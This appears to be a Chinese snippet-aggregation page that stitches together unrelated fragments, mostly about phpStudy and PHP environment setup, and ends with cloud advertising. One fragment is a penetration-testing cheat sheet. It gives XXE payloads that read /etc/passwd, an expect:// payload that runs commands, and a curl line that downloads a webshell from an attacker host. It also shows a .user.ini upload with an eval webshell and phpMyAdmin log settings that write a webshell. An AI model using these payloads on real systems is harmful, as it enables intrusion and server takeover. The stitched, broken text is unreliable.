目标：让天下没有难配的php环境。 phpStudy Linux版&Win版同步上线 支持Apache/Nginx/Tengine/Lighttpd/IIS7/8/6 『软件简介』 该程序包集成最新的Apache+Nginx+LightTPD+PHP+MySQL+phpMyAdmin+Zend Optimizer+Zend Loader，一次性安装，无须配置即可使用，是非常方便、好用的PHP调试环境。该程序绿色小巧简易迷你仅有32M，有专门的控制面板。总之学习PHP只需一个包。 对学习PHP的新手来说，W
PhpStudy国内12年老牌公益软件，集安全，高效，功能与一体，已获得全球用户认可安装，运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。
自己最近也没有怎么弄过linux了 一些原因，自己买了一个Centos的腾讯云服务器 既然买了玩玩，就不要放着了 自己搭建一个php的集成环境 向所有认识的人学习 ：）
phpStudy Linux版&Win版同步上线 支持Apache/Nginx/Tengine/Lighttpd/IIS7/8/6 phpStudy for Linux 支持Apache/Nginx/Tengine/Lighttpd， 支持php5.2/5.3/5.4/5.5切换 已经在centos-6.5,debian-7.4.,ubuntu-13.10测试成功。 下载版：http://lamp.phpstudy.net/phpstudy.bin 完整版：http://lamp.phpstudy.net
前端：网页前台部分，运行在PC端口，移动端等浏览器上展现给用户浏览的网页 核心技术：HTML CSS JavaScript
phpStudy for Linux 支持Apache/Nginx/Tengine/Lighttpd， 支持php5.2/5.3/5.4/5.5切换 已经在centos-6.5,debian-7.4.,ubuntu-13.10测试成功 使用说明： 服务进程管理：phpstudy (start|stop|restart|uninstall) 站点主机管理：phpstudy (add|del|list) ftpd用户管理：phpstudy ftp (add|del|list) 项目地址：http://lamp.phpstudy.net/ 安装说明： wget -c http://lamp.phpstudy.net/phpstudy.bin chmod +x phpstudy.bin #权限设置 ./phpstudy.bin #运行安装
当在搜索引擎中搜索“mac php集成开发环境”的时候，搜索出来的结果主要会告诉你 4 种解决办法，分别是使用 MAMP、XAMPP、MxSrvs、系统自带的 PHP 环境和 PHPStudy。接下来我来一一简要说明一下这五种方法。 __
网站被黑有哪些原因，第一个网站运行环境软件存在漏洞，我不知道大家有没有关心到前面的一个新闻。我们的一个运行软件PHPstudy，它实际上是存在一些漏洞问题的，大家我们这里可以来看一下，确实是PHPstudy的话，它的一个旧版本它确实存在一些漏洞问题，这里的话我就不仔细去给大家去看了只是说让大家了解一下。
在 windows 系统下用的环境：WAMP 在 linux 系统下用的环境：LAMP 分别安装比较麻烦，我们使用组件安装，例如 phpstudy、appserv、xammp 等
小一个月没整理笔记了，这几天开学了，学习期间发现好多地方基础不牢，真是头疼，还是要继续整理笔记，边复习，边分享。
本关卡为sql-labs系列less-7，本关个人认为比较简单，讲的比较详细，会有点啰嗦，谅解~如有错误的地方欢迎师傅们指正！
对于建站工作者来说，对于客户的网站项目我们肯定不是直接在服务器端开发和调试的，而是先在本地环境中演示和测试完毕，甚至有添加到部分数据之后才直接打包上线。本地的PHP演示工作环境老蒋一般是用phpstudy软件安装的，一直使用的很很早老的版本，有些编辑软件版本不兼容，所以准备升级安装最新版本。
taskPHP基于原生态php开发的定时计划任务框架,利用多进程实现任务的分配和运行,利用原生态php内存共享实现进程间通信,支持linux和windows。有较好的伸缩性、扩展性、健壮稳定性而被多家公司使用，同时也希望开源爱好者一起贡献。 项目地址 github地址: https://github.com/qq8044023/taskPHP oschina地址: http://git.oschina.net/cqcqphper/taskPHP 框架概况 框架目录结构: taskPHP 根目录 |-- core 框架系统目录 | |-- lib 框架核心文件目录 | | |-- .... 众多的框架核心类库文件 | |-- guide.php 框架引导文件 | |-- distribute_listen.php 任务派发进程入口 | |-- worker_listen.php 任务执行进程入口 |-- logs 日志目录 |-- tasks 用户任务目录 | |-- demo demo任务 | | |-- Lib demo任务的扩展目录 | | |-- demoTask.php demo任务类文件 | | |-- config.php demo任务配置文件 | | ... 更多任务 | |-- config.php 全局配置文件 |-- main.php 框架入口文件 |-- windows_single.cmd windows快速启动文件 框架说明 linux下子进程执行任务,修改脚本无需重启后台服务立即生效,windows下修改任务脚本后需重启后台脚本 但往系统添加执行不受影响 使用内存共享实现进程通信，堵塞式消息队列,整个框架的运行无需第三方扩展。 任务派发及具体任务执行不在同个进程[distribute_listen.php]和[worker_listen.php],windows和linux下启用入口文件[main.php],windows下可运行[windows_single.cmd]快速启动 执行时间语法跟crontab类似实现crontab的运行规则,并有辅助工具在Utils类,且支持秒设置. 添加任务简单,只需继承Task基类,实现任务入口run方法 注意事项 由于任务存在派发时间，所以任务运行的时间可能会有1-2秒的误差。 windows下执行任务在循环里,编写任务有问题或调用exit将导致后台脚本停止,linux下无此问题。 使用说明 时间配置格式说明: * * * * * * * //格式 :秒 分 时 天 月 年 周 10 * * * * * * //表示每一分钟的第10秒运行 /10 * * * * * * //表示每10秒运行 系统命令说明: mian.php [start] 启动 可不带参数 mian.php close 结束 main.php reload 重新加载任务 main.php delete demo 删除任务 main.php select 查看任务列表 Windows 命令操作 调试启动程序 D:\phpStudy\wwwroot\ostaskphp>php main.php ------------------------- taskPHP ------------------------------ taskPHP version:1.0 PHP version:5.6.1 ------------------------- taskPHP PROCESS ---------------------- listen processes status distribute N [OK] worker
我的主页 www.csxiaoyao.com 之前曾经使用过rhel、centos、ubuntu-14等linux版本，最近整个系统重新分区，在SSD中划分了40G安装了Ubuntu 16.04。使用过程中发现Ubuntu可以看出Ubuntu在桌面系统上已经又向前跨越了一大步，甚至已经可以用作主要的移动生产力工具，特此记录关键十步，以备后查。
用户花了几百块购买了一份 ThinkPHP 一个后台管理的网站源码，要求更换下部分失效接口，或是重写一个类似这样的网站。我想既然都有源码了，我改改不就完事了，这不比重写一个来的省事。虽说我不是主学 PHP 的，但至少我学过一丢丢的 PHP，接触过 ThinkPHP 项目的。不过层面都是局限在本地，部署到生产环境与本地还是有比较大的差别的，于是便有了这篇文章来记录一下自己部署 ThinkPHP 所遇到的一些坑。
PHP环境可以安装到几乎所有的主流操作系统。也就是说，开发者写一次，就可以在不同平台，无扰切换地使用了。
/【php教程_linux常用命令_网络运维技术】/ 对学习PHP的新手来说，WINDOWS下PHP环境配置是一件很困难的事，就是老手也是一件烦琐的事。因此，无论你是新手还是老手，phpStudy 2016都是一个不错的选择，该程序集成Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer，最新版本已集成最新的 PHP7。
phpstudy（小皮模板存在nginx解析漏洞[phpstudy莫名的就背锅了）
因为要做php开发，搭建一个能够运行php网站的服务器环境是第一步，传统的php环境软件非常复杂，好在很多公司开发了一键搭建php安装环境，一键进行php环境配置，大大节省了搭建php mysql环境的时间！对老手来说安装配置php环境也不再是一件繁琐的事。
织梦程序依托MySQL数据库、PHP开发环境、服务器(Apache或Nginx),初学期间安装这些环境对初学者是极其困难，因此，我们可以借助集成开发环境，也就是通过一个软件完成以上所有环境的配置。 基于Linux操作系统、PHP开发环境、MySQL数据库、Apache服务器的集成开发环境软件还是有很多的，DeDeCMS官方提供了DeDeApZ、还有Apmserver、PHPStudy等软件。
mongodb 提供了可用于 32 位和 64 位系统的，你可以从mongodb官网下载安装.
我的网站是使用的是wordpress，wordpress是大众新手偏好的一款博客系统，但是缺点就是卡，打开速度慢，之前一直在研究使用phpstudy，但是phpstudy是一款开发测试的集成环境，自我感觉不是很稳定，apche总会无法启动。所以综上原因，我想改善一下网站的环境。
二、phpMyAdmin利用： phpMyAdmin的漏洞多为经过验证后的才能利用，所以需要进入后台，可以采用爆破的方式进入后台，常用的有：
首先，确保你的apache编译了ssl模块，这是支持ssl证书必要的条件（如果没有，请编译,打开phpstudy——设置——PHP模块扩展——php-openssl前面勾选上）。 第一：进入到apache目录下，httpd.conf找到#LoadModule ssl_module modules/mod_ssl.so，去掉前面的注释符，使得ssl模块生效（如果该模块已去掉注释，请不用操作）。 第二，找到配置80端口http的网站配置的地方，一般在如下路径：D:\phpStudy\Apache\conf有一个
注意：本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
用phpstudy配置一个站点的时候,发现一直报错500,后来查看了下error.log.报错如下:
general_log指的是日志保存状态，一共有两个值（ON/OFF）ON代表开启 OFF代表关闭。
☪ 背景 今天将线下好不容易写完的 ThinkPHP 项目代码搬到线上服务器，然后出现各种坑 ① 首先出现的情况是，PHP 版本安装太低导致无法解析，需要 >5.6 ② 当版本满足后，经过一番配置又发现不支持 URL 重写 (形如："http://seasonpro.com/article/7.html" ) ③ 分析后发现，本测试用的是Apache服务，线上 CentOS7.1 系统选用的是 Nginx 服务环境 环境 > TP 框架： ThinkPHP5.1.2 版本 > PHP版本： ph
作为新手，需要学习PHP，或者需要搭建PHP+MySQL运行环境时，就需要去找各种搭建方法，一步一步按照操作流程操作，不仅繁琐，而且容易出错，还会带来安全隐患。
1、WampServer Wamp就是Windows Apache Mysql PHP集成安装环境，即在window下的apache、php和mysql的服务器软件。PHP扩展、Apache模块，开启/关闭鼠标点点就搞定，再也不用亲自去修改配置文件了，WAMP它会去做。再也不用到处询问php的安装问题了，WAMP一切都搞定了，这个软件在win平台上使用的较多。
初学数据库，SQL Server太简单，Oracle没必要，最佳的选择可能还是 MySQL。这是 JavaWeb 系列中的 MySQL部分，教会大家基本的使用 MySQL数据库。而本篇文章，就是 MySQL 的环境搭建部分。
一个模糊的概念 无论是php，python编程语言，还是apache，nginx服务器对于cgi协议是个绕不开的话题。安装，部署都会经常的看到，那么它们到底是干什么的，网上的答案非常的多！今天通过它们
眨眼间，2018 年的上半年就这样飞逝而过，在上半年的工作中，接触最常规的安全事件就是服务器或者办公主机被远控作为肉鸡挖矿来获取利益或者对其它网站进行 DDoS 攻击，今天分享一下如何利用 Linux 常规的 SSH 弱口令爆破 Linux 服务器并利用该服务器进行挖矿及对其它网站进行 DDoS 攻击，攻击即分析流程较为简单，如有不适之处，欢迎斧正。
php超文本预处理器的字母缩写，是一种被广泛应用的开发源代码的多用途脚本语言，它可嵌入到HTML中，尤其适合web开发。
本文为整个专题的第三篇，进入了攻击模拟的第II期。在本次攻击模拟中，引入了同一网段中的两台主机（Windows,以下简称W；Ubuntu，以下简称L），分别被两个攻击者攻击后，也导致对方遭受攻击。
本篇教程给大家介绍下 Windows 环境下 PHP/Laravel 本地开发环境的搭建，使用的 Windows 版本是 Windows 10 专业版（专业版才支持 Docker Desktop for Windows 安装）。
通过渗透拿到一台内网机器的低权限用户后，无法进行进一步利用时，可以使用系统命令来搜集查找一些当前机器可能存在的敏感文件信息。
1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行，做一个简单改造即可使用。对比如下： 改造前： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径：SecLists\Fuzzing\XXE-Fuzzing.txt 有了上述载荷以后，再加上回显位置即可成功利用，完整载荷示例： <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种，通过上传webshell来。 利用前提：知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上，直接寄。 1）使用python托管webshell python -m http.server 8088 2）下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析： curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代，没啥好说的，常规思路。 下载url不能带协议 下载url用单引号包裹，如果是-o方式，保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多，.user.ini是php给用户的自定义配置文件，可将指定文件按照php脚本文件的形式解析。 介绍：https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程： 1）上传.user.ini filename：.user.ini Content-type：image/jpeg 文件正文： GIF89a auto_prepend_file = aaa.jpg 2）上传webshell filename: aaa.jpg Content-type：image/jpeg 文件正文： GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包： 文件——导出分组解析结果——为纯文本 通过notepad++解码： 提取所有注入数据包，此处使用notepad++中的标记功能，查找模式设置为正则表达式。 提取出来以后，找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后，用英文的逗号隔开，然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提：知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目
如果是你使用 phpstudy 集成开发环境的话，最新的可以直接在上面安装Composer 如下图：
phpMyadmin是一个以PHP为基础的MySQL数据库管理工具，使网站管理员可通过Web接口管理数据库 。
proxychains: https://github.com/rofl0r/proxychains-ng
之前小石有给我安利的他博客的一片文章。恰好phpstudy本地环境也不能满足需求，今天也搞一下Windows10子系统linux安装宝塔面板[Ubuntu]
ThinkPHP5.1 本地测试没问题，线上Linux系统运行提示：" 致命错误: Class 'app\api\Controller\BirdExpress' not found"
有时候用bat写一些小脚本最后会弹出对话框提示操作成功，可以用mshta.exe来实现，它是Windows系统的相关程序，用来执行.HTA文件，一般计算机上面都有这个程序，实现如下：
环境:windows + apache + mysql + php (phpstudy) 由于是在Windows下进行的测试,所以和Linux下的测试会有所不同 在测试漏洞之前先提一下可以同时执行两条
丢到里面直接解密就好了，如果解不出来，直接换一个md5值，或者设置密码为空密码也成。
对于一般网站来说，都会采取第一层CDN网络节点加速来提高网站的访问速度。 以下示例为又拍云CDN（阿里云CDN等也是同样）
可以在Linux、Windows、MacOSX等各种不同的平台上执行。目前由Open Source Matters开源组织进行开发与支持。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
